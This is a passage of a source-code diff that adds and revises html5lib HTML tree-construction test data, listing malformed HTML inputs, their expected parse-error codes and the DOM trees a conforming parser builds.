+(1,22): eof-in-table
#document
| <html>
| <head>
@@ -37,6 +45,12 @@
#data
<table><colgroup></html>foo
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,24): unexpected-end-tag
+(1,27): foster-parenting-character-in-table
+(1,27): foster-parenting-character-in-table
+(1,27): foster-parenting-character-in-table
+(1,27): eof-in-table
#document
| <html>
| <head>
@@ -48,6 +62,7 @@
#data
<table></table><p>foo
#errors
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -59,6 +74,20 @@
#data
<table></body></caption></col></colgroup></html></tbody></td></tfoot></th></thead></tr><td>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,14): unexpected-end-tag
+(1,24): unexpected-end-tag
+(1,30): unexpected-end-tag
+(1,41): unexpected-end-tag
+(1,48): unexpected-end-tag
+(1,56): unexpected-end-tag
+(1,61): unexpected-end-tag
+(1,69): unexpected-end-tag
+(1,74): unexpected-end-tag
+(1,82): unexpected-end-tag
+(1,87): unexpected-end-tag
+(1,91): unexpected-cell-in-table-body
+(1,91): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -71,6 +100,8 @@
#data
<table><select><option>3</select></table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-implies-table-voodoo
#document
| <html>
| <head>
@@ -83,6 +114,12 @@
#data
<table><select><table></table></select></table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-implies-table-voodoo
+(1,22): unexpected-table-element-start-tag-in-select-in-table
+(1,22): unexpected-start-tag-implies-end-tag
+(1,39): unexpected-end-tag
+(1,47): unexpected-end-tag
#document
| <html>
| <head>
@@ -94,6 +131,9 @@
#data
<table><select></table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-implies-table-voodoo
+(1,23): unexpected-table-element-end-tag-in-select-in-table
#document
| <html>
| <head>
@@ -104,6 +144,9 @@
#data
<table><select><option>A<tr><td>B</td></tr></table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-implies-table-voodoo
+(1,28): unexpected-table-element-start-tag-in-select-in-table
#document
| <html>
| <head>
@@ -120,6 +163,14 @@
#data
<table><td></body></caption></col></colgroup></html>foo
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,18): unexpected-end-tag
+(1,28): unexpected-end-tag
+(1,34): unexpected-end-tag
+(1,45): unexpected-end-tag
+(1,52): unexpected-end-tag
+(1,55): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -133,6 +184,8 @@
#data
<table><td>A</table>B
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
#document
| <html>
| <head>
@@ -147,6 +200,8 @@
#data
<table><tr><caption>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -159,6 +214,15 @@
#data
<table><tr></body></caption></col></colgroup></html></td></th><td>foo
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,18): unexpected-end-tag-in-table-row
+(1,28): unexpected-end-tag-in-table-row
+(1,34): unexpected-end-tag-in-table-row
+(1,45): unexpected-end-tag-in-table-row
+(1,52): unexpected-end-tag-in-table-row
+(1,57): unexpected-end-tag-in-table-row
+(1,62): unexpected-end-tag-in-table-row
+(1,69): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -172,6 +236,9 @@
#data
<table><td><tr>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,15): eof-in-table
#document
| <html>
| <head>
@@ -185,6 +252,10 @@
#data
<table><td><button><td>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,23): unexpected-cell-end-tag
+(1,23): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -199,6 +270,9 @@
#data
<table><tr><td><svg><desc><td>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,30): unexpected-cell-end-tag
+(1,30): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/template.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/template.dat
new file mode 100644
index 000000000..a4235681f
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/template.dat
@@ -0,0 +1,1418 @@
+#data
+<body><template>Hello</template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| "Hello"
+
+#data
+<template>Hello</template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| "Hello"
+| <body>
+
+#data
+<template></template><div></div>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <body>
+| <div>
+
+#data
+<html><template>Hello</template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| "Hello"
+| <body>
+
+#data
+<head><template><div></div></template></head>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <div>
+| <body>
+
+#data
+<div><template><div><span></template><b>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+| <template>
+| content
+| <div>
+| <span>
+| <b>
+
+#data
+<div><template></div>Hello
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+| <template>
+| content
+| "Hello"
+
+#data
+<div></template></div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+
+#data
+<table><template></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+
+#data
+<table><template></template></div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+
+#data
+<table><div><template></template></div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+| <template>
+| content
+| <table>
+
+#data
+<table><template></template><div></div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+| <table>
+| <template>
+| content
+
+#data
+<table> <template></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| " "
+| <template>
+| content
+
+#data
+<table><tbody><template></template></tbody>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tbody>
+| <template>
+| content
+
+#data
+<table><tbody><template></tbody></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tbody>
+| <template>
+| content
+
+#data
+<table><tbody><template></template></tbody></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tbody>
+| <template>
+| content
+
+#data
+<table><thead><template></template></thead>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <thead>
+| <template>
+| content
+
+#data
+<table><tfoot><template></template></tfoot>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tfoot>
+| <template>
+| content
+
+#data
+<select><template></template></select>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <template>
+| content
+
+#data
+<select><template><option></option></template></select>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <template>
+| content
+| <option>
+
+#data
+<template><option></option></select><option></option></template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <option>
+| <option>
+| <body>
+
+#data
+<select><template></template><option></select>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <template>
+| content
+| <option>
+
+#data
+<select><option><template></template></select>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <option>
+| <template>
+| content
+
+#data
+<select><template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <template>
+| content
+
+#data
+<select><option></option><template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <option>
+| <template>
+| content
+
+#data
+<select><option></option><template><option>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <select>
+| <option>
+| <template>
+| content
+| <option>
+
+#data
+<table><thead><template><td></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <thead>
+| <template>
+| content
+| <td>
+
+#data
+<table><template><thead></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <thead>
+
+#data
+<body><table><template><td></tr><div></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <td>
+| <div>
+
+#data
+<table><template><thead></template></thead></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <thead>
+
+#data
+<table><thead><template><tr></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <thead>
+| <template>
+| content
+| <tr>
+
+#data
+<table><template><tr></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <tr>
+
+#data
+<table><tr><template><td>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tbody>
+| <tr>
+| <template>
+| content
+| <td>
+
+#data
+<table><template><tr><template><td></template></tr></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <tr>
+| <template>
+| content
+| <td>
+
+#data
+<table><template><tr><template><td></td></template></tr></template></table>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <tr>
+| <template>
+| content
+| <td>
+
+#data
+<table><template><td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <template>
+| content
+| <td>
+
+#data
+<body><template><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+
+#data
+<body><template><template><tr></tr></template><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <template>
+| content
+| <tr>
+| <td>
+
+#data
+<table><colgroup><template><col>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <colgroup>
+| <template>
+| content
+| <col>
+
+#data
+<frameset><template><frame></frame></template></frameset>
+#errors
+#document
+| <html>
+| <head>
+| <frameset>
+| <frame>
+
+#data
+<template><frame></frame></frameset><frame></frame></template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <body>
+
+#data
+<template><div><frameset><span></span></div><span></span></template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <div>
+| <span>
+| <span>
+| <body>
+
+#data
+<body><template><div><frameset><span></span></div><span></span></template></body>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <div>
+| <span>
+| <span>
+
+#data
+<body><template><script>var i = 1;</script><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <script>
+| "var i = 1;"
+| <td>
+
+#data
+<body><template><tr><div></div></tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <div>
+
+#data
+<body><template><tr>Foo</tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| "Foo"
+
+#data
+<body><template><tr></tr><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <tr>
+| <td>
+
+#data
+<body><template><td></td></tr><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+| <td>
+
+#data
+<body><template><td></td><tbody><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+| <td>
+
+#data
+<body><template><td></td><caption></caption><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+| <td>
+
+#data
+<body><template><td></td><colgroup></caption><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+| <td>
+
+#data
+<body><template><td></td></table><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <td>
+| <td>
+
+#data
+<body><template><tr></tr><tbody><tr></tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <tr>
+
+#data
+<body><template><tr></tr><caption><tr></tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <tr>
+
+#data
+<body><template><tr></tr></table><tr></tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <tr>
+
+#data
+<body><template><thead></thead><caption></caption><tbody></tbody></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <thead>
+| <caption>
+| <tbody>
+
+#data
+<body><template><thead></thead></table><tbody></tbody></template></body>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <thead>
+| <tbody>
+
+#data
+<body><template><div><tr></tr></div></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <div>
+
+#data
+<body><template><em>Hello</em></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <em>
+| "Hello"
+
+#data
+<body><template><!--comment--></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <!-- comment -->
+
+#data
+<body><template><style></style><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <style>
+| <td>
+
+#data
+<body><template><meta><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <meta>
+| <td>
+
+#data
+<body><template><link><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <link>
+| <td>
+
+#data
+<body><template><template><tr></tr></template><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <template>
+| content
+| <tr>
+| <td>
+
+#data
+<body><table><colgroup><template><col></col></template></colgroup></table></body>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <colgroup>
+| <template>
+| content
+| <col>
+
+#data
+<body a=b><template><div></div><body c=d><div></div></body></template></body>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| a="b"
+| <template>
+| content
+| <div>
+| <div>
+
+#data
+<html a=b><template><div><html b=c><span></template>
+#errors
+#document
+| <html>
+| a="b"
+| <head>
+| <template>
+| content
+| <div>
+| <span>
+| <body>
+
+#data
+<html a=b><template><col></col><html b=c><col></col></template>
+#errors
+#document
+| <html>
+| a="b"
+| <head>
+| <template>
+| content
+| <col>
+| <col>
+| <body>
+
+#data
+<html a=b><template><frame></frame><html b=c><frame></frame></template>
+#errors
+#document
+| <html>
+| a="b"
+| <head>
+| <template>
+| content
+| <body>
+
+#data
+<body><template><tr></tr><template></template><td></td></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <tr>
+| <template>
+| content
+| <tr>
+| <td>
+
+#data
+<body><template><thead></thead><template><tr></tr></template><tr></tr><tfoot></tfoot></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <thead>
+| <template>
+| content
+| <tr>
+| <tbody>
+| <tr>
+| <tfoot>
+
+#data
+<body><template><template><b><template></template></template>text</template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <template>
+| content
+| <b>
+| <template>
+| content
+| "text"
+
+#data
+<body><template><col><colgroup>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><col></colgroup>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><col><colgroup></template></body>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><col><div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><col></div>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><col>Hello
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <col>
+
+#data
+<body><template><i><menu>Foo</i>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <i>
+| <menu>
+| <i>
+| "Foo"
+
+#data
+<body><template></div><div>Foo</div><template></template><tr></tr>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <div>
+| "Foo"
+| <template>
+| content
+
+#data
+<body><div><template></div><tr><td>Foo</td></tr></template>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <div>
+| <template>
+| content
+| <tr>
+| <td>
+| "Foo"
+
+#data
+<template></figcaption><sub><table></table>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <sub>
+| <table>
+| <body>
+
+#data
+<template><template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <body>
+
+#data
+<template><div>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <div>
+| <body>
+
+#data
+<template><template><div>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <div>
+| <body>
+
+#data
+<template><template><table>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <table>
+| <body>
+
+#data
+<template><template><tbody>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <tbody>
+| <body>
+
+#data
+<template><template><tr>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <tr>
+| <body>
+
+#data
+<template><template><td>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <td>
+| <body>
+
+#data
+<template><template><caption>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <caption>
+| <body>
+
+#data
+<template><template><colgroup>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <colgroup>
+| <body>
+
+#data
+<template><template><col>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <col>
+| <body>
+
+#data
+<template><template><tbody><select>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <tbody>
+| <select>
+| <body>
+
+#data
+<template><template><table>Foo
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| "Foo"
+| <table>
+| <body>
+
+#data
+<template><template><table><div>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <div>
+| <table>
+| <body>
+
+#data
+<template><template><frame>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <body>
+
+#data
+<template><template><script>var i
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <script>
+| "var i"
+| <body>
+
+#data
+<template><template><style>var i
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <template>
+| content
+| <style>
+| "var i"
+| <body>
+
+#data
+<template><table></template><body><span>Foo
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <table>
+| <body>
+| <span>
+| "Foo"
+
+#data
+<template><td></template><body><span>Foo
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <td>
+| <body>
+| <span>
+| "Foo"
+
+#data
+<template><object></template><body><span>Foo
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <object>
+| <body>
+| <span>
+| "Foo"
+
+#data
+<template><svg><template>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <svg svg>
+| <svg template>
+| <body>
+
+#data
+<template><svg><foo><template><foreignObject><div></template><div>
+#errors
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <svg svg>
+| <svg foo>
+| <svg template>
+| <svg foreignObject>
+| <div>
+| <body>
+| <div>
+
+#data
+<dummy><template><span></dummy>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <dummy>
+| <template>
+| content
+| <span>
+
+#data
+<body><table><tr><td><select><template>Foo</template><caption>A</table>
+#errors
+(1,62): unexpected-caption-in-select-in-table
+(1,71): unexpected-table-end-in-caption
+#document
+| <html>
+| <head>
+| <body>
+| <table>
+| <tbody>
+| <tr>
+| <td>
+| <select>
+| <template>
+| content
+| "Foo"
+| <caption>
+| "A"
+
+#data
+<body></body><template>
+#errors
+(1,23): template-after-body
+(1,24): eof-in-template
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+
+#data
+<head></head><template>
+#errors
+(1,23): template-after-head
+(1,24): eof-in-template
+#document
+| <html>
+| <head>
+| <template>
+| content
+| <body>
+
+#data
+<head></head><template>Foo</template>
+#errors
+(1,23): template-after-head
+#document
+| <html>
+| <head>
+| <template>
+| content
+| "Foo"
+| <body>
+
+#data
+<body><form><template><form>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <form>
+| <template>
+| content
+| <form>
+
+#data
+<body><template><table><form>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <table>
+
+#data
+<body><template><form><form>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <template>
+| content
+| <form>
+| <form>
+
+#data
+<body><form><template><isindex>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <form>
+| <template>
+| content
+| <form>
+| <hr>
+| <label>
+| "This is a searchable index. Enter search keywords: "
+| <input>
+| name="isindex"
+| <hr>
+
+#data
+<body><form><template><isindex><form>
+#errors
+#document
+| <html>
+| <head>
+| <body>
+| <form>
+| <template>
+| content
+| <form>
+| <hr>
+| <label>
+| "This is a searchable index. Enter search keywords: "
+| <input>
+| name="isindex"
+| <hr>
+| <form>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests1.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests1.dat
index 4265a9468..f12e87178 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests1.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests1.dat
@@ -1,7 +1,7 @@
#data
Test
#errors
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
+(1,0): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -11,7 +11,7 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
<p>One<p>Two
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
+(1,3): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -24,7 +24,7 @@ Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
#data
Line1<br>Line2<br>Line3<br>Line4
#errors
-Line: 1 Col: 5 Unexpected non-space characters. Expected DOCTYPE.
+(1,0): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -40,7 +40,7 @@ Line: 1 Col: 5 Unexpected non-space characters. Expected DOCTYPE.
#data
<html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -49,7 +49,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<head>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -58,7 +58,7 @@ Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
#data
<body>
#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -67,7 +67,7 @@ Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
#data
<html><head>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -76,7 +76,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><head></head>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -85,7 +85,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><head></head><body>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -94,7 +94,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><head></head><body></body>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -103,7 +103,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><head><body></body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -112,9 +112,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><head></body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end tag (body).
-Line: 1 Col: 26 Unexpected end tag (html).
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -123,7 +121,7 @@ Line: 1 Col: 26 Unexpected end tag (html).
#data
<html><head><body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -132,7 +130,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<html><body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -141,7 +139,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<body></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -150,8 +148,7 @@ Line: 1 Col: 6 Unexpected start tag (body). Expected DOCTYPE.
#data
<head></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end tag (html). Ignored.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -160,7 +157,7 @@ Line: 1 Col: 13 Unexpected end tag (html). Ignored.
#data
</head>
#errors
-Line: 1 Col: 7 Unexpected end tag (head). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-end-tag
#document
| <html>
| <head>
@@ -169,8 +166,7 @@ Line: 1 Col: 7 Unexpected end tag (head). Expected DOCTYPE.
#data
</body>
#errors
-Line: 1 Col: 7 Unexpected end tag (body). Expected DOCTYPE.
-Line: 1 Col: 7 Unexpected end tag (body) after the (implied) root element.
+(1,7): expected-doctype-but-got-end-tag element.
#document
| <html>
| <head>
@@ -179,8 +175,7 @@ Line: 1 Col: 7 Unexpected end tag (body) after the (implied) root element.
#data
</html>
#errors
-Line: 1 Col: 7 Unexpected end tag (html). Expected DOCTYPE.
-Line: 1 Col: 7 Unexpected end tag (html) after the (implied) root element.
+(1,7): expected-doctype-but-got-end-tag element.
#document
| <html>
| <head>
@@ -189,10 +184,10 @@ Line: 1 Col: 7 Unexpected end tag (html) after the (implied) root element.
#data
<b><table><td><i></table>
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 25 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,25): unexpected-cell-end-tag
+(1,25): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -207,11 +202,11 @@ Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
#data
<b><table><td></b><i></table>X
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 18 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 30 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,18): unexpected-end-tag
+(1,29): unexpected-cell-end-tag
+(1,30): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -227,9 +222,9 @@ Line: 1 Col: 30 Expected closing tag. Unexpected end of file.
#data
<h1>Hello<h2>World
#errors
-4: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-13: Heading cannot be a child of another heading.
-18: End of file seen and there were open elements.
+(1,4): expected-doctype-but-got-start-tag
+(1,13): unexpected-start-tag
+(1,18): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -242,10 +237,10 @@ Line: 1 Col: 30 Expected closing tag. Unexpected end of file.
#data
<a><p>X<a>Y</a>Z</p></a>
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 10 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 24 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
+(1,3): expected-doctype-but-got-start-tag
+(1,10): unexpected-start-tag-implies-end-tag
+(1,10): adoption-agency-1.3
+(1,24): unexpected-end-tag
#document
| <html>
| <head>
